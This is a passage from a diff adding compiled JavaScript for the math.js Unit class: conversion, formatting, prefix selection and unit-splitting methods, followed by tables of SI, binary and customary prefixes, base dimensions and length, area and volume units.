!== null && !config.predictable) { + return unit.value; + } else { + return unit; + } + } + /** + * Calculate the absolute value of a unit + * @memberof Unit + * @param {number | Fraction | BigNumber} x + * @returns {Unit} The result: |x|, absolute value of x + */ + + + Unit.prototype.abs = function () { + // This gives correct, but unexpected, results for units with an offset. + // For example, abs(-283.15 degC) = -263.15 degC !!! + var ret = this.clone(); + ret.value = ret.value !== null ? abs(ret.value) : null; + + for (var i in ret.units) { + if (ret.units[i].unit.name === 'VA' || ret.units[i].unit.name === 'VAR') { + ret.units[i].unit = UNITS['W']; + } + } + + return ret; + }; + /** + * Convert the unit to a specific unit name. + * @memberof Unit + * @param {string | Unit} valuelessUnit A unit without value. Can have prefix, like "cm" + * @returns {Unit} Returns a clone of the unit with a fixed prefix and unit. + */ + + + Unit.prototype.to = function (valuelessUnit) { + var other; + var value = this.value === null ? this._normalize(1) : this.value; + + if (typeof valuelessUnit === 'string') { + // other = new Unit(null, valuelessUnit) + other = Unit.parse(valuelessUnit); + + if (!this.equalBase(other)) { + throw new Error("Units do not match ('".concat(other.toString(), "' != '").concat(this.toString(), "')")); + } + + if (other.value !== null) { + throw new Error('Cannot convert to a unit with a value'); + } + + other.value = clone(value); + other.fixPrefix = true; + other.skipAutomaticSimplification = true; + return other; + } else if (type.isUnit(valuelessUnit)) { + if (!this.equalBase(valuelessUnit)) { + throw new Error("Units do not match ('".concat(valuelessUnit.toString(), "' != '").concat(this.toString(), "')")); + } + + if (valuelessUnit.value !== null) { + throw new Error('Cannot convert to a unit with a value'); + } + + other = valuelessUnit.clone(); + other.value = clone(value); + other.fixPrefix = true; + other.skipAutomaticSimplification = true; + return other; + } else { + throw new Error('String or Unit expected as parameter'); + } + }; + /** + * Return the value of the unit when represented with given valueless unit + * @memberof Unit + * @param {string | Unit} valuelessUnit For example 'cm' or 'inch' + * @return {number} Returns the unit value as number. + */ + // TODO: deprecate Unit.toNumber? It's always better to use toNumeric + + + Unit.prototype.toNumber = function (valuelessUnit) { + return toNumber(this.toNumeric(valuelessUnit)); + }; + /** + * Return the value of the unit in the original numeric type + * @memberof Unit + * @param {string | Unit} valuelessUnit For example 'cm' or 'inch' + * @return {number | BigNumber | Fraction} Returns the unit value + */ + + + Unit.prototype.toNumeric = function (valuelessUnit) { + var other; + + if (valuelessUnit) { + // Allow getting the numeric value without converting to a different unit + other = this.to(valuelessUnit); + } else { + other = this.clone(); + } + + if (other._isDerived()) { + return other._denormalize(other.value); + } else { + return other._denormalize(other.value, other.units[0].prefix.value); + } + }; + /** + * Get a string representation of the unit. + * @memberof Unit + * @return {string} + */ + + + Unit.prototype.toString = function () { + return this.format(); + }; + /** + * Get a JSON representation of the unit + * @memberof Unit + * @returns {Object} Returns a JSON object structured as: + * `{"mathjs": "Unit", "value": 2, "unit": "cm", "fixPrefix": false}` + */ + + + Unit.prototype.toJSON = function () { + return { + mathjs: 'Unit', + value: this._denormalize(this.value), + unit: this.formatUnits(), + fixPrefix: this.fixPrefix + }; + }; + /** + * Instantiate a Unit from a JSON object + * @memberof Unit + * @param {Object} json A JSON object structured as: + * `{"mathjs": "Unit", "value": 2, "unit": "cm", "fixPrefix": false}` + * @return {Unit} + */ + + + Unit.fromJSON = function (json) { + var unit = new Unit(json.value, json.unit); + unit.fixPrefix = json.fixPrefix || false; + return unit; + }; + /** + * Returns the string representation of the unit. + * @memberof Unit + * @return {string} + */ + + + Unit.prototype.valueOf = Unit.prototype.toString; + /** + * Simplify this Unit's unit list and return a new Unit with the simplified list. + * The returned Unit will contain a list of the "best" units for formatting. + */ + + Unit.prototype.simplify = function () { + var ret = this.clone(); + var proposedUnitList = []; // Search for a matching base + + var matchingBase; + + for (var key in currentUnitSystem) { + if (ret.hasBase(BASE_UNITS[key])) { + matchingBase = key; + break; + } + } + + if (matchingBase === 'NONE') { + ret.units = []; + } else { + var matchingUnit; + + if (matchingBase) { + // Does the unit system have a matching unit? + if (currentUnitSystem.hasOwnProperty(matchingBase)) { + matchingUnit = currentUnitSystem[matchingBase]; + } + } + + if (matchingUnit) { + ret.units = [{ + unit: matchingUnit.unit, + prefix: matchingUnit.prefix, + power: 1.0 + }]; + } else { + // Multiple units or units with powers are formatted like this: + // 5 (kg m^2) / (s^3 mol) + // Build an representation from the base units of the current unit system + var missingBaseDim = false; + + for (var i = 0; i < BASE_DIMENSIONS.length; i++) { + var baseDim = BASE_DIMENSIONS[i]; + + if (Math.abs(ret.dimensions[i] || 0) > 1e-12) { + if (currentUnitSystem.hasOwnProperty(baseDim)) { + proposedUnitList.push({ + unit: currentUnitSystem[baseDim].unit, + prefix: currentUnitSystem[baseDim].prefix, + power: ret.dimensions[i] || 0 + }); + } else { + missingBaseDim = true; + } + } + } // Is the proposed unit list "simpler" than the existing one? + + + if (proposedUnitList.length < ret.units.length && !missingBaseDim) { + // Replace this unit list with the proposed list + ret.units = proposedUnitList; + } + } + } + + return ret; + }; + /** + * Returns a new Unit in the SI system with the same value as this one + */ + + + Unit.prototype.toSI = function () { + var ret = this.clone(); + var proposedUnitList = []; // Multiple units or units with powers are formatted like this: + // 5 (kg m^2) / (s^3 mol) + // Build an representation from the base units of the SI unit system + + for (var i = 0; i < BASE_DIMENSIONS.length; i++) { + var baseDim = BASE_DIMENSIONS[i]; + + if (Math.abs(ret.dimensions[i] || 0) > 1e-12) { + if (UNIT_SYSTEMS['si'].hasOwnProperty(baseDim)) { + proposedUnitList.push({ + unit: UNIT_SYSTEMS['si'][baseDim].unit, + prefix: UNIT_SYSTEMS['si'][baseDim].prefix, + power: ret.dimensions[i] || 0 + }); + } else { + throw new Error('Cannot express custom unit ' + baseDim + ' in SI units'); + } + } + } // Replace this unit list with the proposed list + + + ret.units = proposedUnitList; + ret.fixPrefix = true; + ret.skipAutomaticSimplification = true; + return ret; + }; + /** + * Get a string representation of the units of this Unit, without the value. The unit list is formatted as-is without first being simplified. + * @memberof Unit + * @return {string} + */ + + + Unit.prototype.formatUnits = function () { + var strNum = ''; + var strDen = ''; + var nNum = 0; + var nDen = 0; + + for (var i = 0; i < this.units.length; i++) { + if (this.units[i].power > 0) { + nNum++; + strNum += ' ' + this.units[i].prefix.name + this.units[i].unit.name; + + if (Math.abs(this.units[i].power - 1.0) > 1e-15) { + strNum += '^' + this.units[i].power; + } + } else if (this.units[i].power < 0) { + nDen++; + } + } + + if (nDen > 0) { + for (var _i4 = 0; _i4 < this.units.length; _i4++) { + if (this.units[_i4].power < 0) { + if (nNum > 0) { + strDen += ' ' + this.units[_i4].prefix.name + this.units[_i4].unit.name; + + if (Math.abs(this.units[_i4].power + 1.0) > 1e-15) { + strDen += '^' + -this.units[_i4].power; + } + } else { + strDen += ' ' + this.units[_i4].prefix.name + this.units[_i4].unit.name; + strDen += '^' + this.units[_i4].power; + } + } + } + } // Remove leading " " + + + strNum = strNum.substr(1); + strDen = strDen.substr(1); // Add parans for better copy/paste back into the eval, for example, or for better pretty print formatting + + if (nNum > 1 && nDen > 0) { + strNum = '(' + strNum + ')'; + } + + if (nDen > 1 && nNum > 0) { + strDen = '(' + strDen + ')'; + } + + var str = strNum; + + if (nNum > 0 && nDen > 0) { + str += ' / '; + } + + str += strDen; + return str; + }; + /** + * Get a string representation of the Unit, with optional formatting options. + * @memberof Unit + * @param {Object | number | Function} [options] Formatting options. See + * lib/utils/number:format for a + * description of the available + * options. + * @return {string} + */ + + + Unit.prototype.format = function (options) { + // Simplfy the unit list, unless it is valueless or was created directly in the + // constructor or as the result of to or toSI + var simp = this.skipAutomaticSimplification || this.value === null ? this.clone() : this.simplify(); // Apply some custom logic for handling VA and VAR. The goal is to express the value of the unit as a real value, if possible. Otherwise, use a real-valued unit instead of a complex-valued one. + + var isImaginary = false; + + if (typeof simp.value !== 'undefined' && simp.value !== null && type.isComplex(simp.value)) { + // TODO: Make this better, for example, use relative magnitude of re and im rather than absolute + isImaginary = Math.abs(simp.value.re) < 1e-14; + } + + for (var i in simp.units) { + if (simp.units[i].unit) { + if (simp.units[i].unit.name === 'VA' && isImaginary) { + simp.units[i].unit = UNITS['VAR']; + } else if (simp.units[i].unit.name === 'VAR' && !isImaginary) { + simp.units[i].unit = UNITS['VA']; + } + } + } // Now apply the best prefix + // Units must have only one unit and not have the fixPrefix flag set + + + if (simp.units.length === 1 && !simp.fixPrefix) { + // Units must have integer powers, otherwise the prefix will change the + // outputted value by not-an-integer-power-of-ten + if (Math.abs(simp.units[0].power - Math.round(simp.units[0].power)) < 1e-14) { + // Apply the best prefix + simp.units[0].prefix = simp._bestPrefix(); + } + } + + var value = simp._denormalize(simp.value); + + var str = simp.value !== null ? format(value, options || {}) : ''; + var unitStr = simp.formatUnits(); + + if (simp.value && type.isComplex(simp.value)) { + str = '(' + str + ')'; // Surround complex values with ( ) to enable better parsing + } + + if (unitStr.length > 0 && str.length > 0) { + str += ' '; + } + + str += unitStr; + return str; + }; + /** + * Calculate the best prefix using current value. + * @memberof Unit + * @returns {Object} prefix + * @private + */ + + + Unit.prototype._bestPrefix = function () { + if (this.units.length !== 1) { + throw new Error('Can only compute the best prefix for single units with integer powers, like kg, s^2, N^-1, and so forth!'); + } + + if (Math.abs(this.units[0].power - Math.round(this.units[0].power)) >= 1e-14) { + throw new Error('Can only compute the best prefix for single units with integer powers, like kg, s^2, N^-1, and so forth!'); + } // find the best prefix value (resulting in the value of which + // the absolute value of the log10 is closest to zero, + // though with a little offset of 1.2 for nicer values: you get a + // sequence 1mm 100mm 500mm 0.6m 1m 10m 100m 500m 0.6km 1km ... + // Note: the units value can be any numeric type, but to find the best + // prefix it's enough to work with limited precision of a regular number + // Update: using mathjs abs since we also allow complex numbers + + + var absValue = this.value !== null ? abs(this.value) : 0; + var absUnitValue = abs(this.units[0].unit.value); + var bestPrefix = this.units[0].prefix; + + if (absValue === 0) { + return bestPrefix; + } + + var power = this.units[0].power; + var bestDiff = Math.log(absValue / Math.pow(bestPrefix.value * absUnitValue, power)) / Math.LN10 - 1.2; + if (bestDiff > -2.200001 && bestDiff < 1.800001) return bestPrefix; // Allow the original prefix + + bestDiff = Math.abs(bestDiff); + var prefixes = this.units[0].unit.prefixes; + + for (var p in prefixes) { + if (prefixes.hasOwnProperty(p)) { + var prefix = prefixes[p]; + + if (prefix.scientific) { + var diff = Math.abs(Math.log(absValue / Math.pow(prefix.value * absUnitValue, power)) / Math.LN10 - 1.2); + + if (diff < bestDiff || diff === bestDiff && prefix.name.length < bestPrefix.name.length) { + // choose the prefix with the smallest diff, or if equal, choose the one + // with the shortest name (can happen with SHORTLONG for example) + bestPrefix = prefix; + bestDiff = diff; + } + } + } + } + + return bestPrefix; + }; + /** + * Returns an array of units whose sum is equal to this unit + * @memberof Unit + * @param {Array} [parts] An array of strings or valueless units. + * + * Example: + * + * const u = new Unit(1, 'm') + * u.splitUnit(['feet', 'inch']) + * [ 3 feet, 3.3700787401575 inch ] + * + * @return {Array} An array of units. + */ + + + Unit.prototype.splitUnit = function (parts) { + var x = this.clone(); + var ret = []; + + for (var i = 0; i < parts.length; i++) { + // Convert x to the requested unit + x = x.to(parts[i]); + if (i === parts.length - 1) break; // Get the numeric value of this unit + + var xNumeric = x.toNumeric(); // Check to see if xNumeric is nearly equal to an integer, + // since fix can incorrectly round down if there is round-off error + + var xRounded = round(xNumeric); + var xFixed = void 0; + var isNearlyEqual = equal(xRounded, xNumeric); + + if (isNearlyEqual) { + xFixed = xRounded; + } else { + xFixed = fix(x.toNumeric()); + } + + var y = new Unit(xFixed, parts[i].toString()); + ret.push(y); + x = subtract(x, y); + } // This little bit fixes a bug where the remainder should be 0 but is a little bit off. + // But instead of comparing x, the remainder, with zero--we will compare the sum of + // all the parts so far with the original value. If they are nearly equal, + // we set the remainder to 0. + + + var testSum = 0; + + for (var _i5 = 0; _i5 < ret.length; _i5++) { + testSum = add(testSum, ret[_i5].value); + } + + if (equal(testSum, this.value)) { + x.value = 0; + } + + ret.push(x); + return ret; + }; + + var PREFIXES = { + NONE: { + '': { + name: '', + value: 1, + scientific: true + } + }, + SHORT: { + '': { + name: '', + value: 1, + scientific: true + }, + 'da': { + name: 'da', + value: 1e1, + scientific: false + }, + 'h': { + name: 'h', + value: 1e2, + scientific: false + }, + 'k': { + name: 'k', + value: 1e3, + scientific: true + }, + 'M': { + name: 'M', + value: 1e6, + scientific: true + }, + 'G': { + name: 'G', + value: 1e9, + scientific: true + }, + 'T': { + name: 'T', + value: 1e12, + scientific: true + }, + 'P': { + name: 'P', + value: 1e15, + scientific: true + }, + 'E': { + name: 'E', + value: 1e18, + scientific: true + }, + 'Z': { + name: 'Z', + value: 1e21, + scientific: true + }, + 'Y': { + name: 'Y', + value: 1e24, + scientific: true + }, + 'd': { + name: 'd', + value: 1e-1, + scientific: false + }, + 'c': { + name: 'c', + value: 1e-2, + scientific: false + }, + 'm': { + name: 'm', + value: 1e-3, + scientific: true + }, + 'u': { + name: 'u', + value: 1e-6, + scientific: true + }, + 'n': { + name: 'n', + value: 1e-9, + scientific: true + }, + 'p': { + name: 'p', + value: 1e-12, + scientific: true + }, + 'f': { + name: 'f', + value: 1e-15, + scientific: true + }, + 'a': { + name: 'a', + value: 1e-18, + scientific: true + }, + 'z': { + name: 'z', + value: 1e-21, + scientific: true + }, + 'y': { + name: 'y', + value: 1e-24, + scientific: true + } + }, + LONG: { + '': { + name: '', + value: 1, + scientific: true + }, + 'deca': { + name: 'deca', + value: 1e1, + scientific: false + }, + 'hecto': { + name: 'hecto', + value: 1e2, + scientific: false + }, + 'kilo': { + name: 'kilo', + value: 1e3, + scientific: true + }, + 'mega': { + name: 'mega', + value: 1e6, + scientific: true + }, + 'giga': { + name: 'giga', + value: 1e9, + scientific: true + }, + 'tera': { + name: 'tera', + value: 1e12, + scientific: true + }, + 'peta': { + name: 'peta', + value: 1e15, + scientific: true + }, + 'exa': { + name: 'exa', + value: 1e18, + scientific: true + }, + 'zetta': { + name: 'zetta', + value: 1e21, + scientific: true + }, + 'yotta': { + name: 'yotta', + value: 1e24, + scientific: true + }, + 'deci': { + name: 'deci', + value: 1e-1, + scientific: false + }, + 'centi': { + name: 'centi', + value: 1e-2, + scientific: false + }, + 'milli': { + name: 'milli', + value: 1e-3, + scientific: true + }, + 'micro': { + name: 'micro', + value: 1e-6, + scientific: true + }, + 'nano': { + name: 'nano', + value: 1e-9, + scientific: true + }, + 'pico': { + name: 'pico', + value: 1e-12, + scientific: true + }, + 'femto': { + name: 'femto', + value: 1e-15, + scientific: true + }, + 'atto': { + name: 'atto', + value: 1e-18, + scientific: true + }, + 'zepto': { + name: 'zepto', + value: 1e-21, + scientific: true + }, + 'yocto': { + name: 'yocto', + value: 1e-24, + scientific: true + } + }, + SQUARED: { + '': { + name: '', + value: 1, + scientific: true + }, + 'da': { + name: 'da', + value: 1e2, + scientific: false + }, + 'h': { + name: 'h', + value: 1e4, + scientific: false + }, + 'k': { + name: 'k', + value: 1e6, + scientific: true + }, + 'M': { + name: 'M', + value: 1e12, + scientific: true + }, + 'G': { + name: 'G', + value: 1e18, + scientific: true + }, + 'T': { + name: 'T', + value: 1e24, + scientific: true + }, + 'P': { + name: 'P', + value: 1e30, + scientific: true + }, + 'E': { + name: 'E', + value: 1e36, + scientific: true + }, + 'Z': { + name: 'Z', + value: 1e42, + scientific: true + }, + 'Y': { + name: 'Y', + value: 1e48, + scientific: true + }, + 'd': { + name: 'd', + value: 1e-2, + scientific: false + }, + 'c': { + name: 'c', + value: 1e-4, + scientific: false + }, + 'm': { + name: 'm', + value: 1e-6, + scientific: true + }, + 'u': { + name: 'u', + value: 1e-12, + scientific: true + }, + 'n': { + name: 'n', + value: 1e-18, + scientific: true + }, + 'p': { + name: 'p', + value: 1e-24, + scientific: true + }, + 'f': { + name: 'f', + value: 1e-30, + scientific: true + }, + 'a': { + name: 'a', + value: 1e-36, + scientific: true + }, + 'z': { + name: 'z', + value: 1e-42, + scientific: true + }, + 'y': { + name: 'y', + value: 1e-48, + scientific: true + } + }, + CUBIC: { + '': { + name: '', + value: 1, + scientific: true + }, + 'da': { + name: 'da', + value: 1e3, + scientific: false + }, + 'h': { + name: 'h', + value: 1e6, + scientific: false + }, + 'k': { + name: 'k', + value: 1e9, + scientific: true + }, + 'M': { + name: 'M', + value: 1e18, + scientific: true + }, + 'G': { + name: 'G', + value: 1e27, + scientific: true + }, + 'T': { + name: 'T', + value: 1e36, + scientific: true + }, + 'P': { + name: 'P', + value: 1e45, + scientific: true + }, + 'E': { + name: 'E', + value: 1e54, + scientific: true + }, + 'Z': { + name: 'Z', + value: 1e63, + scientific: true + }, + 'Y': { + name: 'Y', + value: 1e72, + scientific: true + }, + 'd': { + name: 'd', + value: 1e-3, + scientific: false + }, + 'c': { + name: 'c', + value: 1e-6, + scientific: false + }, + 'm': { + name: 'm', + value: 1e-9, + scientific: true + }, + 'u': { + name: 'u', + value: 1e-18, + scientific: true + }, + 'n': { + name: 'n', + value: 1e-27, + scientific: true + }, + 'p': { + name: 'p', + value: 1e-36, + scientific: true + }, + 'f': { + name: 'f', + value: 1e-45, + scientific: true + }, + 'a': { + name: 'a', + value: 1e-54, + scientific: true + }, + 'z': { + name: 'z', + value: 1e-63, + scientific: true + }, + 'y': { + name: 'y', + value: 1e-72, + scientific: true + } + }, + BINARY_SHORT_SI: { + '': { + name: '', + value: 1, + scientific: true + }, + 'k': { + name: 'k', + value: 1e3, + scientific: true + }, + 'M': { + name: 'M', + value: 1e6, + scientific: true + }, + 'G': { + name: 'G', + value: 1e9, + scientific: true + }, + 'T': { + name: 'T', + value: 1e12, + scientific: true + }, + 'P': { + name: 'P', + value: 1e15, + scientific: true + }, + 'E': { + name: 'E', + value: 1e18, + scientific: true + }, + 'Z': { + name: 'Z', + value: 1e21, + scientific: true + }, + 'Y': { + name: 'Y', + value: 1e24, + scientific: true + } + }, + BINARY_SHORT_IEC: { + '': { + name: '', + value: 1, + scientific: true + }, + 'Ki': { + name: 'Ki', + value: 1024, + scientific: true + }, + 'Mi': { + name: 'Mi', + value: Math.pow(1024, 2), + scientific: true + }, + 'Gi': { + name: 'Gi', + value: Math.pow(1024, 3), + scientific: true + }, + 'Ti': { + name: 'Ti', + value: Math.pow(1024, 4), + scientific: true + }, + 'Pi': { + name: 'Pi', + value: Math.pow(1024, 5), + scientific: true + }, + 'Ei': { + name: 'Ei', + value: Math.pow(1024, 6), + scientific: true + }, + 'Zi': { + name: 'Zi', + value: Math.pow(1024, 7), + scientific: true + }, + 'Yi': { + name: 'Yi', + value: Math.pow(1024, 8), + scientific: true + } + }, + BINARY_LONG_SI: { + '': { + name: '', + value: 1, + scientific: true + }, + 'kilo': { + name: 'kilo', + value: 1e3, + scientific: true + }, + 'mega': { + name: 'mega', + value: 1e6, + scientific: true + }, + 'giga': { + name: 'giga', + value: 1e9, + scientific: true + }, + 'tera': { + name: 'tera', + value: 1e12, + scientific: true + }, + 'peta': { + name: 'peta', + value: 1e15, + scientific: true + }, + 'exa': { + name: 'exa', + value: 1e18, + scientific: true + }, + 'zetta': { + name: 'zetta', + value: 1e21, + scientific: true + }, + 'yotta': { + name: 'yotta', + value: 1e24, + scientific: true + } + }, + BINARY_LONG_IEC: { + '': { + name: '', + value: 1, + scientific: true + }, + 'kibi': { + name: 'kibi', + value: 1024, + scientific: true + }, + 'mebi': { + name: 'mebi', + value: Math.pow(1024, 2), + scientific: true + }, + 'gibi': { + name: 'gibi', + value: Math.pow(1024, 3), + scientific: true + }, + 'tebi': { + name: 'tebi', + value: Math.pow(1024, 4), + scientific: true + }, + 'pebi': { + name: 'pebi', + value: Math.pow(1024, 5), + scientific: true + }, + 'exi': { + name: 'exi', + value: Math.pow(1024, 6), + scientific: true + }, + 'zebi': { + name: 'zebi', + value: Math.pow(1024, 7), + scientific: true + }, + 'yobi': { + name: 'yobi', + value: Math.pow(1024, 8), + scientific: true + } + }, + BTU: { + '': { + name: '', + value: 1, + scientific: true + }, + 'MM': { + name: 'MM', + value: 1e6, + scientific: true + } + } + }; + PREFIXES.SHORTLONG = _extends(PREFIXES.SHORT, PREFIXES.LONG); + PREFIXES.BINARY_SHORT = _extends(PREFIXES.BINARY_SHORT_SI, PREFIXES.BINARY_SHORT_IEC); + PREFIXES.BINARY_LONG = _extends(PREFIXES.BINARY_LONG_SI, PREFIXES.BINARY_LONG_IEC); + /* Internally, each unit is represented by a value and a dimension array. The elements of the dimensions array have the following meaning: + * Index Dimension + * ----- --------- + * 0 Length + * 1 Mass + * 2 Time + * 3 Current + * 4 Temperature + * 5 Luminous intensity + * 6 Amount of substance + * 7 Angle + * 8 Bit (digital) + * For example, the unit "298.15 K" is a pure temperature and would have a value of 298.15 and a dimension array of [0, 0, 0, 0, 1, 0, 0, 0, 0]. The unit "1 cal / (gm °C)" can be written in terms of the 9 fundamental dimensions as [length^2] / ([time^2] * [temperature]), and would a value of (after conversion to SI) 4184.0 and a dimensions array of [2, 0, -2, 0, -1, 0, 0, 0, 0]. + * + */ + + var BASE_DIMENSIONS = ['MASS', 'LENGTH', 'TIME', 'CURRENT', 'TEMPERATURE', 'LUMINOUS_INTENSITY', 'AMOUNT_OF_SUBSTANCE', 'ANGLE', 'BIT']; + var BASE_UNITS = { + NONE: { + dimensions: [0, 0, 0, 0, 0, 0, 0, 0, 0] + }, + MASS: { + dimensions: [1, 0, 0, 0, 0, 0, 0, 0, 0] + }, + LENGTH: { + dimensions: [0, 1, 0, 0, 0, 0, 0, 0, 0] + }, + TIME: { + dimensions: [0, 0, 1, 0, 0, 0, 0, 0, 0] + }, + CURRENT: { + dimensions: [0, 0, 0, 1, 0, 0, 0, 0, 0] + }, + TEMPERATURE: { + dimensions: [0, 0, 0, 0, 1, 0, 0, 0, 0] + }, + LUMINOUS_INTENSITY: { + dimensions: [0, 0, 0, 0, 0, 1, 0, 0, 0] + }, + AMOUNT_OF_SUBSTANCE: { + dimensions: [0, 0, 0, 0, 0, 0, 1, 0, 0] + }, + FORCE: { + dimensions: [1, 1, -2, 0, 0, 0, 0, 0, 0] + }, + SURFACE: { + dimensions: [0, 2, 0, 0, 0, 0, 0, 0, 0] + }, + VOLUME: { + dimensions: [0, 3, 0, 0, 0, 0, 0, 0, 0] + }, + ENERGY: { + dimensions: [1, 2, -2, 0, 0, 0, 0, 0, 0] + }, + POWER: { + dimensions: [1, 2, -3, 0, 0, 0, 0, 0, 0] + }, + PRESSURE: { + dimensions: [1, -1, -2, 0, 0, 0, 0, 0, 0] + }, + ELECTRIC_CHARGE: { + dimensions: [0, 0, 1, 1, 0, 0, 0, 0, 0] + }, + ELECTRIC_CAPACITANCE: { + dimensions: [-1, -2, 4, 2, 0, 0, 0, 0, 0] + }, + ELECTRIC_POTENTIAL: { + dimensions: [1, 2, -3, -1, 0, 0, 0, 0, 0] + }, + ELECTRIC_RESISTANCE: { + dimensions: [1, 2, -3, -2, 0, 0, 0, 0, 0] + }, + ELECTRIC_INDUCTANCE: { + dimensions: [1, 2, -2, -2, 0, 0, 0, 0, 0] + }, + ELECTRIC_CONDUCTANCE: { + dimensions: [-1, -2, 3, 2, 0, 0, 0, 0, 0] + }, + MAGNETIC_FLUX: { + dimensions: [1, 2, -2, -1, 0, 0, 0, 0, 0] + }, + MAGNETIC_FLUX_DENSITY: { + dimensions: [1, 0, -2, -1, 0, 0, 0, 0, 0] + }, + FREQUENCY: { + dimensions: [0, 0, -1, 0, 0, 0, 0, 0, 0] + }, + ANGLE: { + dimensions: [0, 0, 0, 0, 0, 0, 0, 1, 0] + }, + BIT: { + dimensions: [0, 0, 0, 0, 0, 0, 0, 0, 1] + } + }; + + for (var key in BASE_UNITS) { + BASE_UNITS[key].key = key; + } + + var BASE_UNIT_NONE = {}; + var UNIT_NONE = { + name: '', + base: BASE_UNIT_NONE, + value: 1, + offset: 0, + dimensions: BASE_DIMENSIONS.map(function (x) { + return 0; + }) + }; + var UNITS = { + // length + meter: { + name: 'meter', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.LONG, + value: 1, + offset: 0 + }, + inch: { + name: 'inch', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 0.0254, + offset: 0 + }, + foot: { + name: 'foot', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 0.3048, + offset: 0 + }, + yard: { + name: 'yard', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 0.9144, + offset: 0 + }, + mile: { + name: 'mile', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 1609.344, + offset: 0 + }, + link: { + name: 'link', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 0.201168, + offset: 0 + }, + rod: { + name: 'rod', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 5.0292, + offset: 0 + }, + chain: { + name: 'chain', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 20.1168, + offset: 0 + }, + angstrom: { + name: 'angstrom', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 1e-10, + offset: 0 + }, + m: { + name: 'm', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.SHORT, + value: 1, + offset: 0 + }, + 'in': { + name: 'in', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 0.0254, + offset: 0 + }, + ft: { + name: 'ft', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 0.3048, + offset: 0 + }, + yd: { + name: 'yd', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 0.9144, + offset: 0 + }, + mi: { + name: 'mi', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 1609.344, + offset: 0 + }, + li: { + name: 'li', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 0.201168, + offset: 0 + }, + rd: { + name: 'rd', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 5.029210, + offset: 0 + }, + ch: { + name: 'ch', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 20.1168, + offset: 0 + }, + mil: { + name: 'mil', + base: BASE_UNITS.LENGTH, + prefixes: PREFIXES.NONE, + value: 0.0000254, + offset: 0 + }, + // 1/1000 inch + // Surface + m2: { + name: 'm2', + base: BASE_UNITS.SURFACE, + prefixes: PREFIXES.SQUARED, + value: 1, + offset: 0 + }, + sqin: { + name: 'sqin', + base: BASE_UNITS.SURFACE, + prefixes: PREFIXES.NONE, + value: 0.00064516, + offset: 0 + }, + // 645.16 mm2 + sqft: { + name: 'sqft', + base: BASE_UNITS.SURFACE, + prefixes: PREFIXES.NONE, + value: 0.09290304, + offset: 0 + }, + // 0.09290304 m2 + sqyd: { + name: 'sqyd', + base: BASE_UNITS.SURFACE, + prefixes: PREFIXES.NONE, + value: 0.83612736, + offset: 0 + }, + // 0.83612736 m2 + sqmi: { + name: 'sqmi', + base: BASE_UNITS.SURFACE, + prefixes: PREFIXES.NONE, + value: 2589988.110336, + offset: 0 + }, + // 2.589988110336 km2 + sqrd: { + name: 'sqrd', + base: BASE_UNITS.SURFACE, + prefixes: PREFIXES.NONE, + value: 25.29295, + offset: 0 + }, + // 25.29295 m2 + sqch: { + name: 'sqch', + base: BASE_UNITS.SURFACE, + prefixes: PREFIXES.NONE, + value: 404.6873, + offset: 0 + }, + // 404.6873 m2 + sqmil: { + name: 'sqmil', + base: BASE_UNITS.SURFACE, + prefixes: PREFIXES.NONE, + value: 6.4516e-10, + offset: 0 + }, + // 6.4516 * 10^-10 m2 + acre: { + name: 'acre', + base: BASE_UNITS.SURFACE, + prefixes: PREFIXES.NONE, + value: 4046.86, + offset: 0 + }, + // 4046.86 m2 + hectare: { + name: 'hectare', + base: BASE_UNITS.SURFACE, + prefixes: PREFIXES.NONE, + value: 10000, + offset: 0 + }, + // 10000 m2 + // Volume + m3: { + name: 'm3', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.CUBIC, + value: 1, + offset: 0 + }, + L: { + name: 'L', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.SHORT, + value: 0.001, + offset: 0 + }, + // litre + l: { + name: 'l', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.SHORT, + value: 0.001, + offset: 0 + }, + // litre + litre: { + name: 'litre', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.LONG, + value: 0.001, + offset: 0 + }, + cuin: { + name: 'cuin', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 1.6387064e-5, + offset: 0 + }, + // 1.6387064e-5 m3 + cuft: { + name: 'cuft', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.028316846592, + offset: 0 + }, + // 28.316 846 592 L + cuyd: { + name: 'cuyd', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.764554857984, + offset: 0 + }, + // 764.554 857 984 L + teaspoon: { + name: 'teaspoon', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.000005, + offset: 0 + }, + // 5 mL + tablespoon: { + name: 'tablespoon', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 0.000015, + offset: 0 + }, + // 15 mL + // {name: 'cup', base: BASE_UNITS.VOLUME, prefixes: PREFIXES.NONE, value: 0.000240, offset: 0}, // 240 mL // not possible, we have already another cup + drop: { + name: 'drop', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 5e-8, + offset: 0 + }, + // 0.05 mL = 5e-8 m3 + gtt: { + name: 'gtt', + base: BASE_UNITS.VOLUME, + prefixes: PREFIXES.NONE, + value: 5e-8, + offset: 0 + }, + // 0.05 mL = 5e-8 m3 + // Liquid volume + minim: { + name: 